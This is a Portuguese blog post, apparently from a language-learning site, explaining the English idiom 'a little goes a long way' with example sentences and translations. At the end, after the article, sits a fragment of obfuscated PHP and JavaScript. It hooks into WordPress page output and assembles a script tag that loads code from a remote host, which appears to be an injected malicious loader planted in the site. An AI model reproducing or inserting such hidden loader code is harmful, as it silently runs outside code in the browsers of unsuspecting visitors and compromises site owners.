O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

A LITTLE GOES A LONG WAY | Significado

a little ges a long way

Hoje vamos ver o significado da expressão ‘A little goes a long way’ em inglês. Essa expressão é muito importante e tiraremos todas as suas dúvidas sobre ela.

Leia também: 20 dicas para aprender inglês

A Little goes a long way: significado

Como nos mostra o Meriam-Webster, essa expressão significa que um pouco de alguma coisa é o suficiente porque rende muito.

Talvez essa expressão seja uma das melhores formas de dizer que alguma coisa rende muito em inglês, mesmo que seja usada em pouca quantidade.

Vale lembrar que ‘a little’ significa ‘pouco’ em inglês somente quando  estamos falando de situações que envolvem substantivos incontáveis. Ou como neste caso, quando queremos falar ‘pouco’ no geral.

Às vezes para indicar o que ‘rende muito’, você pode colocar um substantivo depois de ‘a little’. Assim sua frase fica ‘um pouco de…rende muito’. É nesses casos que você deve observar a questão de substantivos contáveis e incontáveis. 

Você também pode usar só ‘go(es) a long way’ para indicar que alguma coisa rende muito ou que faz muita diferença. É comum usar essa expressão seguida de ‘toward’ nesse caso. Esse uso, porém, não é comum.

Ainda assim, essa expressão é fixa e não deve ser traduzida ao pé da letra. Somente use essa frase dessa maneira porque ela é uma expressão idiomática.

Vejam alguns exemplos:

Don’t add too much pepper. A little goes a long way. (Não coloque muita pimenta. Um pouco jpa rende muito)

I prefer that cream, a little goes a long way. (Eu prefiro aquele creme, um pouquinho rende muito)

A little coffee goes a long way. (Um pouco de café rende muito)

A little peace of mind goes a long way. (Um pouco de paz de espírito vai longe)

A smile goes a long way. (Um sorriso muda tudo)

This report goes a long way toward the solution to the problem. (Esse relatório faz toda a diferença na solução do problema) 

Agora que você aprender sobre essa expressão, por que você não vê outros conteúdos que podem te ajudar? 

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>